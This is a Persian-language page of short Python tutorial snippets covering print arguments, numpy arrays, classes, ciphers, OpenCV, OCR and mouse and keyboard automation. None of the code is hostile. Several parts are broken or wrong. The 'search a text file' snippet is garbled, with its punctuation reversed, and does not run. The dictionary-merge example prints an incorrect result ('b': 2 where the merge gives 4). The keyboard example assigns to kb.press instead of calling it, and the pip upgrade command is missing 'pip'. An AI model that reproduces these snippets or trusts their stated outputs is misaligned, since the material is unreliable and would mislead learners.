برای جدا کردن خروجیها با یک کارکتر یا رشتهی خاص از جدا کننده Sep در تابع Print به صورت زیر استفاده میشود
print(“a”, “b”, “c”, sep=”-“)
خروجی اجرای دستور بالا به صورت زیر خواهد بود.
a-b-c
کارکتر پایانی متن با آرگومان End
وقتی از تابع Print استفاده میکنیم، به طور پیش فرض و پس از پرینت خروجی مکان نما به ابتدای خط بعدی میرود. در اینجا با تعریف آرگومان End میتوانیم عمکرد پایانی متن را تغییر دهیم. در مثالهای زیر این موضوع نشان داده شده است.
print(“a”, end=” “)
print(“b”, end=” “)
print(“c”, end=” “)
خروجی اجرای دستور بالا به صورت زیر خواهد بود.
a b c
اجرای دستورات Command Prompt در پایتون
from subprocess import check_output
result = check_output([‘systeminfo’]).decode(‘utf-8’)
print(result)
در اینجا با اجرای دستور systeminfo اطلاعات مربوط به سیستم نمایش داده میشود.
تعریف و استفاده از آرایه
آرایه یه ساختمان داده به منظور ذخیرهسازی یک دنباله از ارجاعهای صورت گرفته به اشیاء است. در پایتون، لیست همان آرایه است. برای تعریف آرایه با استفاده از کتابخانهی numpy به صورت زیر عمل میکنیم
۱) import numpy as np
۲) a=np.array([1, 3, 2, 0], int)
۳) print(a)
در بالا ابتدا با استفاده از دستور شماره ۱، کتابخانه numpy را import و سپس برای راحتی استفاده در دستورات بعدی نامه np را برای آن در نظر گرفتهایم. سپس با استفاده از دستور شماره ۲ یک آرایه را با نام a که اعضای آن از نوع صحیح میباشند را تعریف کردهایم و اعداد ۱، ۳، ۲ و ۰ را در آن قرار دادهایم سپس با استفاده از دستور شماره ۳ محتوای آرایهی a را که به صورت زیر است در خروچی چاپ کردهایم.
[۱ ۳ ۲ ۰]
دستور زیر یک آرایه با نام b که شامل دو عضو ۰ میباشد را تعریف میکند.
b=np.zeros(2)
print(b)
خروجی دستور بالا به صورت زیر است
[۰ ۰]
دستورات زیر آرایهی نامرتب a را به صورت صعودی مرتب میکند
c=np.sort(a)
print(c)
خروجی دستورات بالا به صورت زیر میباشد
[۰ ۱ ۲ ۳]
دستورات زیر اعضای آرایهی c را به صورت برعکس در خروجی چاپ میکند.
d=c[::-1]
print(d)
خروجی دستورات بالا به صورت زیر میباشد.
[۳ ۲ ۱ ۰]
دستور زیر یک آرایه با نام e را که حاوی ۱۰ عضو ۰ میباشد را ایجاد میکند
e=[0]*10
print(e)
خروجی دستورات بالا به صورت زیر میباشد
[۰ ۰ ۰ ۰ ۰ ۰ ۰ ۰ ۰ ۰]
دستورات زیر اعضای آرایه a را به صورت برعکس در خروچی چاپ میکند.
a=[1, 2, 3, 4, 5]
n=len(a)
for i in range(n//2):
temp=a[i]
a[i]=a[n-1-i]
a[n-1-i]=temp
print(a)
خروجی دستورات بالا به صورت زیر است
[۵, ۴, ۳, ۲, ۱]
دستور زیر یک آرایه به نام a را با اعضای ۱ تا ۱۲ ایجاد میکند
a=list(range(1, 13))
print(a)
خروجی دستور بالا به صورت زیر است
[۱, ۲, ۳, ۴, ۵, ۶, ۷, ۸, ۹, ۱۰, ۱۱, ۱۲]
الحاق عنصر به انتهای آرایهی a
a=[]
for i in range(1, 6):
a=a+[i]
print(a)
خروجی دستورات بالا به صورت زیر است
[۱, ۲, ۳, ۴, ۵]
چاپ برعکس عناصر آرایه
a=[0, 1, 2, 3, 4]
for i in reversed(a):
print(i, sep=’ ‘, end=’ ‘)
چاپ عناصر آرایه بدون استفاده از اندیس
a = [0, 1, 2, 3, 4]
for v in a:
print(v, sep=’ ‘, end=’ ‘)
کپی کردن عناصر یک آرایه در آرایه دیگر
روش اول
a = [0, 1, 2, 3, 4]
b = a[:]
print(b)
روش دوم
c=[]
for v in a:
c+=[v]
print(c)
مشخص کردن نوع داده با استفاده از دستور type
x1=5
print(type(x1))
x2=2.5
print(type(x2))
x3=”Esmaeili”
print(type(x3))
x4={‘a’, ‘b’}
print(type(x4))
x5=[1, 2, 3, 4]
print(type(x5))
x6=(1, 2, 3, 4)
print(type(x6))
x7={1:”a”, 2:”b”}
print(type(x7))
x8=True
print(type(x8))
خروجی دستورات بالا به ترتیب به صورت زیر خواهد بود
<class ‘int’>
<class ‘float’>
<class ‘str’>
<class ‘set’>
<class ‘list’>
<class ‘tuple’>
<class ‘dict’>
<class ‘bool’>
کنترل موس و صفحه کلید
#pip install pynput
from pynput import mouse
mos=mouse.Controller()
x=200;y=400
mos.position=(x,y)
در اینجا x و y به ترتیب مختصات طول و عرض جدید موس میباشند
from pynput import keyboard
kb=keyboard.Controller()
kb.press=(‘p’)
پاک کردن صفحه کنسول pycharm
import os
clear = lambda: os.system(‘cls’)
clear()
بررسی ورژن پایتون در Pycharm IDE
برای بررسی ورژن پایتون در Pycharm IDE کافی است در ترمینال دستور زیر را اجرا نماییم
python –version
همچنین میتوانیم از طریق زیر منوی زیر از ورژن پایتون Pycharm IDE اطلاع پیدا کنیم
File|Settings|Project|Python Interpreter
طریقه بهروزرسانی ورژن پایتون در Pycharm IDE
ابتدا ورژن پایتون مورد نظر خود را با توجه به سیستم عامل مورد استفاده خود از اینجا دانلود میکنیم. سپس با توجه به راهنمای نصب پایتون که از اینجا قابل دسترس میباشد، آن را نصب میکنیم. در ادامه به زیر منوی زیر میرویم.
File|Settings|Project|Python Interpreter
سپس از قسمت بالا و سمت راست صفحه، از لیست باکس Python Interpreter، گزینه Show all را انتخاب کرده و از صفحه ظاهر شده آیکون + را میزنیم، سپس در فسمت Base Interpreter آدرس فایل اجرایی پایتون نصب شده را داده و جهت ذخیرهسازی مراحل انجام شده دکمهی Ok را میزنیم.
ساختار async/await
با استفاده از این ساختار میتوانیم دستورات را به صورت غیر همزمان اجرا نماییم. منظور از اجرای غیر همزمان دستورات این است که ترتیب اجرای دستورات با ترتیب نوشته شدن دستورات یکی نیست برای مثال در دستورات زیر Second Command که برای اجرا شدن به زمان زیادی نیاز دارد بعد از دستورات Third Command، First Command و Fourth Command که برای اجرا شدن به زمان کمی نیاز دارند اجرا میشود. در واقع این ساختار باعث میگردد که دستور Second Command از یک وظیفهی Blocking به یک وظیفهی Non Blocking تبدیل گردد.
import asyncio
async def main():
print(“First Command”)
task = asyncio.create_task(Function_01())
print(“Third Command”)
print(“Fourth Command”)
async def Function_01():
print(“Second Command”)
await asyncio.sleep(1)
asyncio.run(main())
خروجی اجرای دستورات بالا به صورت زیر خواهد بود
First Command
Third Command
Fourth Command
Second Command
تابع zip
از تابع zip، به منظور متناظر کردن چندین لیست، تاپل و … استفاده میشود.
x = [1, 2, 2, 3, 3]
y = [1, 1, 2, 1, 2]
my_list = list(zip(x,y))
print(my_list)
خروجی دستورات بالا به صورت زیر خواهد بود.
[(۱, ۱), (۲, ۱), (۲, ۲), (۳, ۱), (۳, ۲)]
دستور پیپ (pip)
دستور پیپ (pip)، یک دستور برای مدیریت package هست که ما میتوانیم با استفاده از آن هر پکیجی را که نیاز داریم را از منبعی (repository) که از طریق آدرس pypi.org قابل دسترس است را دریافت و نصب کنیم. دقت داشته باشید که برای دریافت و نصب یک پکیج از repository باید به اینترنت وصل باشید. با استفاده از دستور زیر میتوانیم از ورژن pip نصب شده بر روی سیستمان مطلع شویم
pip –version
برای به روزرسانی دستور پیپ (pip)، میتوانیم از دستور زیر استفاده نماییم.
install –upgrade pip
در پایتون تعداد بسیار زیادی پکیج وجود دارد که ما میتوانیم آنها را با استفاده از دستور زیر نصب و سپس استفاده نماییم.
pip install package name
برای مثال برای نصب پکیج numpy میتوانیم از دستور زیر استفاده نماییم
pip install numpy
برای مشاهده لیست پکیجهایی که بر روی سیستم ما نصب هستند میتوانیم از دستور زیر استفاده نماییم
pip list
قالببندی رشته در پایتون
first_name = input(“enter your first name: “)
last_name = input(“enter your last name: “)
print(“my first name is” + ” ” + first_name + ” ” + “and my last name is” + ” ” + last_name)
print(f”my first name is {first_name} and my last name is {last_name}”.format(first_name, last_name))
print(f”my first name is {first_name} and my last name is {last_name}”)
swap در پایتون
a = 20
b = 50
a, b = b, a
print(a)
print(b)
وراثت (Inheritance)
وراثت این امکان را به ما میدهد که بتوانیم کلاسی تعریف کنیم که همهی ویژگیها (Attributes) و تابعها (Methods) را از کلاس دیگری به ارث ببرد.
کلاس والد (Parent)
کلاس والد، کلاسی است که از آن ارث برده میشود. به کلاس والد، کلاس پایه (Base Class) نیز گفته میشود.
کلاس فرزند (Child)
کلاس فرزند، کلاسی است که از کلاس والد ارث میبرد.
تابع (method) __init__
این تابع (method)، مخفف کلمه initialize میباشد و توسط پایتون تعریف شده است. وقتی از یک کلاس یک شی (object) ساخته میشود،تابع (method) __inti__ به طور اتوماتیک اجرا میشود و این امکان را به ما میدهد تا بتوانیم فیلدهای شی (obect) را مقداردهی کنیم. کارها و عملیات دیگری هم میتوانیم در تابع inti انجام دهیم اما بهتر است از تابع init فقط برای مقداردهی اولیه فیلدها استفاده نماییم تا بدین صورت از ایجاد پیچیدگی جلوگیری نماییم.
تابع (method) __str__
از این تابع (method)، برای برگرداندن خروجی یک تابع در قالب رشته استفاده میشود.
class person():
def __init__(self, first_name, last_name):
self.first_name = first_name
self.last_name = last_name
def __str__(self):
return “my first name is {} and my last name is {}”.format(self.first_name, self.last_name)
class employee(person):
pass
my_emploee = employee(“Sobhan”, “Esmaeili”)
print(my_emploee)
تابع فیلتر (filter)
تابع فیلتر یکی از توابع از پیش مشخص شده پایتون است که یک تابع و یک لیست را به عنوان ورودی دریافت و لیست جدیدی را که نتیجه اعمال تابع بر روی لیست ورودی است به عنوان لیست خروجی بر میگرداند. در اینجا، در صورتی که نتیجه اعمال تابع بر روی عضوی از لیست ورودی True باشد تابع فیلتر عضو مذکور را به عنوان عضوی از لیست خروجی در نظر میگیرد.
def my_function(n):
if n % 5 == 0:
return n
else:
pass
my_list = [10, 25, 17, 9, 30, 5]
new_my_list = list(filter(my_function, my_list))
print(new_my_list)
پرینت یک متن با رنگ قلم و رنگ پسزمینه دلخواه
# pip install colorama
from colorama import Fore, Back
print(Fore.GREEN, Back.BLACK, “Sobhan Esmaeili”)
مرتبسازی یک لیست بر اساس n امین آیتم
my_list = [[1, 1], [4, 5], [2, 4], [0, 3], [3, 2]]
print(my_list)
دستورات زیر لیست my_list را بر اساس اولین آیتم مرتب میکنند
my_list.sort(key=lambda x: x[0])
print(my_list)
دستورات زیر لیست my_list رو بر اساس دومین آیتم مرتب میکنند
my_list.sort(key=lambda x: x[1])
print(my_list)
استفاده از شی slice ذخیره شده در یک متغیر
my_string = “Sobhan Esmaeili”
my_slice = slice(0, 6)
print(my_string[my_slice])
کتابخانههای مورد استفاده در پردازش تصویر
Numpy
scipy
matplotlib
Scikit-image
Scikit-learn
imutil
dlib
OpenCV
نمایش یک تصویر با استفاده از کتابخانه OpenCV
# python -m pip install opencv-python
۱) import cv2
۲) my_image = cv2.imread(r”c:\my_image.jpg”)
۳) cv2.imshow(“My Image”, my_image)
۴) cv2.waitKey()
۵) cv2.destroyWindow(“My Image”)
در دستور شماره ۲ برای اینکه بکاسلش به عنوان یک دستور شناخته نشود قبل از رشته از حرف r استفاده میکنیم
عملگر سهگانه (Ternary Operators)
دستورات زیر را در نظر بگیرید
grade = int(input(“Enter Grade : “))
if grade > 15:
rank = “GooD”
else:
rank = “BaD”
print(rank)
این دستورات را میتوانیم با عملگر سهگانه به صورت زیر بنویسیم
grade = int(input(“Enter Grade : “))
rank = “GoD” if grade > 15 else “BaD”
print(rank)
تدفند ادغام (merge) کردن دو دیکشنری
dictionary_01 = {“a”: 1, “b”: 2, “c”: 3}
dictionary_02 = {“b”: 4, “e”: 5}
dictionary_total = {**dictionary_01, **dictionary_02}
print(dictionary_total)
در اینجا خروجی دستورات بالا به صورت زیر خواهد بود
{‘b’: 2, ‘e’: 5, ‘a’: 1, ‘c’: 3}
محاسبه زمان اجرای کد
import datetime
start_time = datetime.datetime.now()
# start code
for i in range(1000):
print(i)
# end code
end_time = datetime.datetime.now()
execution_time = end_time – start_time
print(f”{int(execution_time.total_seconds() * 1000)} ms”)
مفهوم و منطق __main__
فرض کنید در Section 01 از Code_01 کدهای زیر نوشته شده است
# Code_01 | Section 01
۱) def my_print_01():
۲) print(“my_print_01 | without __name__”)
۳) my_print_01()
اگر در Code_02 دستور شماره ۴ نوشته شود، دستور شماره ۳، میتواند به صورت غیر مستقیم توسط Code_02 اجرا شود.
۴) import Code_01
در اینجا اگر بخواهیم دستور ۳ در Code_01 تنها به صورت مستقیم و توسط خود Code_01 اجرا شود و با اجرای Code_02 دستور شماره ۳ اجرا نشود باید Code_01 را به صورت زیر بنویسم و دستور ۳ در Code_01 را بعد از عبارت (__name__) Dunder name بیاوریم.
# Code_01 | Section 02
def my_print_02():
print(“my_print_02 | with __name__”)
if __name__ == “__main__”:
my_print_02()
تکنیک گراز دریایی (walrus)
قطعه کد زیر را در نظر بگیرید
# Section 01
۱) my_list = [8, 2, 5, 4]
۲) if len(my_list) < 10:
۳) print(len(my_list))
در قطعه کد بالا (Section 01) در دو دستور شماره ۲ و شماره ۳ نیاز است هر بار طول لیست محاسبه گردد و این سبب میشود که منبع پردازشی و حافظه سیستم به طور بهینه استفاده نگردد. برای جلوگیری از این موضوع میتوانیم از تکنیک گراز دریایی استفاده نماییم و قطعه کد بالا (Section 01) را به صورت زیر بازنویسی نماییم
#Section 02
۴) my_list = [8, 2, 5, 4]
۵) if (a := len(my_list)) < 10:
۶) print(a)
همانطور که مشخص است در قطعه کد بازنویسی شده (Section 02)، در دستور ۵، مقدار طول لیست پس از محاسبه در متغیر a قرار میگیرد تا در دستور ۶ بدون نیاز به محاسبه مجدد آن مورد استفاده قرار گیرد.
کتابخانه لاکپشت (Turtle)
کتابخانه Turtle، یک کتابخانه گرافیکی است که اجازه ترسیم خطوط و اشکال را در رنگها و اندازههای مختلف را به ما میدهد.
دستورات کتابخانه لاکپشت (Turtle)
دستور | عملکرد |
forward(x) | حرکت به سمت جلو به اندازه x |
backward(x) | حرکت به سمت عقب به اندازه x |
setpos(x,y) | رفتن به موقعیت x و y |
pos() | گرفتن مختصات موقعیت جاری |
clear() | پاک کردن صفحه |
pensize(n) | تعیین سایز قلم |
ht() | مخفی کردن نشانهگر قلم |
st() | نمان کردن نشانهگر قلم |
mainloop() | جلوگیری از بسته شدن صفحه |
right(x) | x درجه چرخش به صورت ساعتگرد |
left(x) | x درجه چرخش به صورت پادساعتگرد |
penup() | برداشتن قلم از روی صفحه |
pendown() | گذاشتن قلم روی صفحه |
fillcolor() | انتخاب رنگ برای پر کردن شکل |
begin_fill | شروع کردن عمل رنگ کردن شکل |
end_fill | پایان دادن به عمل رنگ کردن شکل |
speed(n) | تعیین سرعت رسم |
در مثال زیر با استفاده از کتابخانه Turtle یک قلب رسم شده است.
import turtle
b = turtle.Turtle()
def curve():
for i in range(200):
b.right(1)
b.forward(1)
b.color(“red”)
b.pensize(2)
b.fillcolor(“pink”)
b.begin_fill()
b.left(140)
b.forward(113)
curve()
b.left(120)
curve()
b.forward(112)
b.penup()
b.setpos(-61, 100)
b.pendown()
b.write(“Sobhan Esmaeili”, font=(“verdana”, 12))
b.end_fill()
b.ht()
turtle.mainloop()
Daemon Thread در پایتون
from threading import Thread
from time import sleep
def timer():
second = 0
while True:
second = second + 1
print(f”{second} Second”)
sleep(1)
my_thread = Thread(target = timer)
my_thread.daemon = True
my_thread.start()
count = 0
for i in range(1, 10000000):
count = count + 1
الگوریتم رمزنگاری Pigpen
pigpen_alphabet = {“a”:”_|”, “b”:”|_|”, “c”:”|_”, “d”:”]”, “e”:”[]”, “f”:”[“, “g”:”-|”, “h”:”|-|”, “i”:”|-“, “j”:”._|”, “k”:”|._|”, “l”:”|._”, “m”:”.]”, “n”:”[.]”,
“o”:”[.”, “p”:”.-|”, “q”:”|.-|”, “r”:”|.-“, “s”:”v”, “t”:”>”, “u”:”<“, “v”:”^”, “w”:”.v”, “x”:”.>”, “y”:”.<“, “z”:”.^”, “.”:”\n”, ” “:” “}
def pigpen(text):
result = ”
for ch in text.lower():
if ch in pigpen_alphabet:
result += pigpen_alphabet[ch]
else:
result += ch
return result
print(pigpen(“Sobhan Esmaeili”))
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
الگوریتم رمزنگاری Caesar
def caesar_cipher(text, shift):
alphabet = ‘abcdefghijklmnopqrstuvwxyz’
shift = shift + 26 if shift < 0 else shift
result = “”
for char in text:
is_capital = char.isupper()
char = char.lower()
if char in alphabet:
encoded = alphabet[(alphabet.index(char) + shift) % 26]
result += encoded.upper() if is_capital else encoded
else:
result += char
return result
print(caesar_cipher(“Hello”, 5))
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
الگوریتم رمزگشایی Caesar
برای اجرای این الگوریتم ابتدا فایل دیکشنری شامل تمام کلمات انگلیسی را از اینجا دانلود و در کنار فایل پروژه قرار دهید.
shift = 5
alphabet = ‘abcdefghijklmnopqrstuvwxyz’
def caesar_cipher(text, shift):
shift = shift + 26 if shift < 0 else shift
result = ”
for char in text:
is_capital = char.isupper()
char = char.lower()
if char in alphabet:
encoded = alphabet[(alphabet.index(char) + shift) % 26]
result += encoded.upper() if is_capital else encoded
else:
result += char
return result
def rox13(text):
return caesar_cipher(text, shift=13)
class Result:
def print(self):
print(‘shift: {}, point: {}, decoded_text: {}’.format(self.shift, self.point, self.decoded_text))
def decode_caesar(text):
english_words = []
with open(‘words’) as f:
english_words = f.read().splitlines()
result = Result()
max_point = -1
for shift in range(26):
point = 0
words = text.split(‘ ‘)
for word in words:
decoded = caesar_cipher(word, shift)
if decoded.lower() in english_words:
point += 1000 + len(word)
if point > max_point:
result.shift = shift
result.point = point
result.decoded_text = caesar_cipher(text, shift)
max_point = point
return result
decode_caesar(‘htsknijsy’).print()
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
مقایسه زمان اجرای یک تابع بر روی CPU و GPU
# pip install numba
from numba import jit, cuda
import numpy as np
from timeit import default_timer as timer
def CPU_Base_Function(a):
for i in range(n):
a[i] += 1
@jit(target_backend = “cuda”)
def GPU_Base_Function(a):
for i in range(n):
a[i] += 1
if __name__ == “__main__”:
n = 10000000
a = np.ones(n, dtype=np.float64)
start = timer()
CPU_Base_Function(a)
print(f”With CPU :{timer()-start}”)
start = timer()
GPU_Base_Function(a)
print(f”With GPU :{timer() – start}”)
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
پیدا کردن یک رشته خاص در فایل متنی
“search_item = “Setareh Karami
line_number = 0
“” = number
“” = my_string
f = open(“Database.txt”, “r”)
:for line in f
line_number = line_number + 1
:if search_item in line
:for item in line
:()if item.isdigit
number = number + str(item)
:for item in line
:()if item.isspace
my_string = my_string + str(item)
:()if item.isalpha
my_string = my_string + str(item)
print(f”Found {my_string.rstrip()} in Line {line_number} and Mobile Number Is {number.rstrip()}”)
()f.close
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
ساختار Inline If
flag = int(input(“Enter Gender: “))
print(“Female” if flag == 0 else “Male”)
ساختار For Loop
numbers = [“1”, “2”, “3”, “4”, “5”]
for number in numbers:
print(number)
برای نمایش دادن ایندکس عددهای لیست به صورت زیر عمل میکنیم
numbers = [“1”, “2”, “3”, “4”, “5”]
for index, number in enumerate(numbers):
print(index, number)
پیمایش یک رشته با استفاده از For Loop
message = “Dr Sobhan Esmaeili”
for char in message:
print(char)
ساختار While Loop
counter = 5
while counter > 0:
print(f”Counter: {counter}”)
counter = counter – 1
دستور Break
دستور Break به منظور خارج شدن از کل ساختار Loop استفاده میشود.
for i in range(10):
if i==5:
break
else:
print(i)
خروجی دستورات بالا به صورت زیر خواهد بود
۰
۱
۲
۳
۴
دستور Continue
دستور Continue سبب نادیده گرفته شدن سایر دستورات بعد از کلمه کلیدی Continue میشود.
for i in range(5):
if i==2:
continue
else:
print(i)
خروجی دستورات بالا به صورت زیر خواهد بود
۰
۱
۳
۴
استخراج شماره تلفنهای همراه از یک متن با استفاده از Regular Expressions
import re
my_string = “Dr Sobhan Esmaeili Mobile Numbers Is 09122123203 and 09122274729”
my_output = “”
my_pattern = “(0[0-9]{10})”
my_result = re.findall(my_pattern, my_string)
print(f”First Mobile Number Is: {my_result[0]} and Second Mobile Number Is: {my_result[1]}”)
استخراج عناصر یک رشته که با یک جدا کننده خاص مانند کاما از هم جدا شدهاند.
در اینجا قبل از چاپ هر عنصر فاصله ابتدا و انتهای هر عنصر حذف میشود
my_string = "A, B, C, D, E" my_result_01 = my_string.split(",") for item in my_result_01: print(item.replace(" ", ""))
استفاده از Generator Expressions به منظور استفاده بهینه از حافظه
import sys # First Method my_list = [i for i in range(1, 1001)] print(sum(my_list)) print("Usage Space:", sys.getsizeof(my_list), "Byte") # Second Method my_generator_expressions = (i for i in range(1, 1001)) print(sum(my_generator_expressions)) print("Usage Space:", sys.getsizeof(my_generator_expressions), "Byte")
تبدیل متن به گفتار
# pip install pyttsx3 import pyttsx3 engine = pyttsx3.init() engine.setProperty('rate', 110) engine.say("This is my car") engine.runAndWait()
تعیین موقعیت یک شی در محیط داخلی (Localization) با استفاده از پردازش تصویر
قبل از اجرای برنامه فایل Tesseract را از اینجا دانلود و نصب نمایید.
# pip install pytesseract import pytesseract from PIL import Image location = ["x=1,y=1", "x=2,y=1", "x=3,y=1", "x=4,y=1", "x=5,y=1", "x=6,y=1", 'x=7,y=1'] im_01 = Image.open("B.png") custom_config = r'--oem 3 --psm 11 -c tessedit_char_whitelist=0123456789' pytesseract.pytesseract.tesseract_cmd = r"C:\Program Files\Tesseract-OCR\tesseract.exe" numbers_string_01 = pytesseract.image_to_string(im_01, config=custom_config) x_01 = numbers_string_01.replace("\n\n", ",") x_01 = x_01[0:len(x_01)-1] x_01 = x_01.split(',') for i, name in enumerate(x_01): print(f"Location of {name} is: [{location[i]}]")
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
تشخیص دایره سبز رنگ از بین سه دایره قرمز، سبز و آبی
import cv2 import numpy as np img = cv2.imread("my_data.png") hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) cv2.imshow("HSV Image", hsv_img) lower_green = np.array([1, 0, 0]) upper_green = np.array([178, 254, 255]) masking = cv2.inRange(hsv_img, lower_green, upper_green) cv2.imshow("Orginal Image", img) cv2.imshow("Green Color Detection", masking) cv2.waitKey(0)
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
برنامه تشخیص حداقل و حداکثر مقدار HSV برای هر رنگ
import cv2 import numpy as np def nothing(x): pass image = cv2.imread('my_data.png') cv2.namedWindow('image') cv2.createTrackbar('HMin', 'image', 0, 179, nothing) cv2.createTrackbar('SMin', 'image', 0, 255, nothing) cv2.createTrackbar('VMin', 'image', 0, 255, nothing) cv2.createTrackbar('HMax', 'image', 0, 179, nothing) cv2.createTrackbar('SMax', 'image', 0, 255, nothing) cv2.createTrackbar('VMax', 'image', 0, 255, nothing) cv2.setTrackbarPos('HMax', 'image', 179) cv2.setTrackbarPos('SMax', 'image', 255) cv2.setTrackbarPos('VMax', 'image', 255) hMin = sMin = vMin = hMax = sMax = vMax = 0 phMin = psMin = pvMin = phMax = psMax = pvMax = 0 while(1): hMin = cv2.getTrackbarPos('HMin', 'image') sMin = cv2.getTrackbarPos('SMin', 'image') vMin = cv2.getTrackbarPos('VMin', 'image') hMax = cv2.getTrackbarPos('HMax', 'image') sMax = cv2.getTrackbarPos('SMax', 'image') vMax = cv2.getTrackbarPos('VMax', 'image') lower = np.array([hMin, sMin, vMin]) upper = np.array([hMax, sMax, vMax]) hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV) mask = cv2.inRange(hsv, lower, upper) result = cv2.bitwise_and(image, image, mask=mask) if((phMin != hMin) | (psMin != sMin) | (pvMin != vMin) | (phMax != hMax) | (psMax != sMax) | (pvMax != vMax) ): print("(hMin = %d , sMin = %d, vMin = %d), (hMax = %d , sMax = %d, vMax = %d)" % (hMin , sMin , vMin, hMax, sMax , vMax)) phMin = hMin psMin = sMin pvMin = vMin phMax = hMax psMax = sMax pvMax = vMax cv2.imshow('image', result) if cv2.waitKey(10) & 0xFF == ord('q'): break cv2.destroyAllWindows()
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
برنامه تشخیص و چاپ عدد نوشته شده بر روی کاغذ
import cv2 import numpy as np import pytesseract from PIL import Image img = cv2.imread("01.jpg") scale_percent = 20 width = int(img.shape[1] * scale_percent / 100) height = int(img.shape[0] * scale_percent / 100) dim = (width, height) resized = cv2.resize(img, dim, interpolation=cv2.INTER_AREA) hsv_img = cv2.cvtColor(resized, cv2.COLOR_BGR2HSV) cv2.imshow("HSV Image", hsv_img) lower_green = np.array([60, 111, 16]) upper_green = np.array([179, 255, 255]) masking = cv2.inRange(hsv_img, lower_green, upper_green) cv2.imshow("Orginal Image", resized) cv2.imshow("Green Color Detection", masking) invert_masking = cv2.subtract(255, masking) cv2.imshow("Invert Image", invert_masking) cv2.waitKey(0) custom_config = r"--psm 8 -c tessedit_char_whitelist=0123456789" pytesseract.pytesseract.tesseract_cmd = r"C:\Program Files\Tesseract-OCR\tesseract.exe" numbers_string = pytesseract.image_to_string(invert_masking, config=custom_config) print(numbers_string)
فایل برنامه نوشته شده را میتوانید از اینجا دانلود نمایید.
اجرای قطعه کد نوشته شده در یک رشته یا یک فایل پایتون از درون برنامه دیگر
در برنامه نوشته شده، قطعه کد نوشته شده در رشته my_code_string و همچنین قطعه کد موجود در فایل Program_File را از طریق برنامه Main اجرا میکنیم
# Program_File print("Dr. Sobhan Esmaeili")
# Main my_code_string = "x=5\ny=5\nprint(x+y)" code = compile(my_code_string, "my_program.py", "exec") exec(code) print(eval("2+2")) exec(open("Program_File.py").read())
برنامه کلیک کردن به مدت ۱۰ ثانیه بر روی یک نقطه خاص
# pip install mouse import mouse import time start_time = time.time() click_duration = 12 time.sleep(2) while True: current_time = time.time() n = current_time - start_time mouse.click("left") if n > click_duration: print("done") break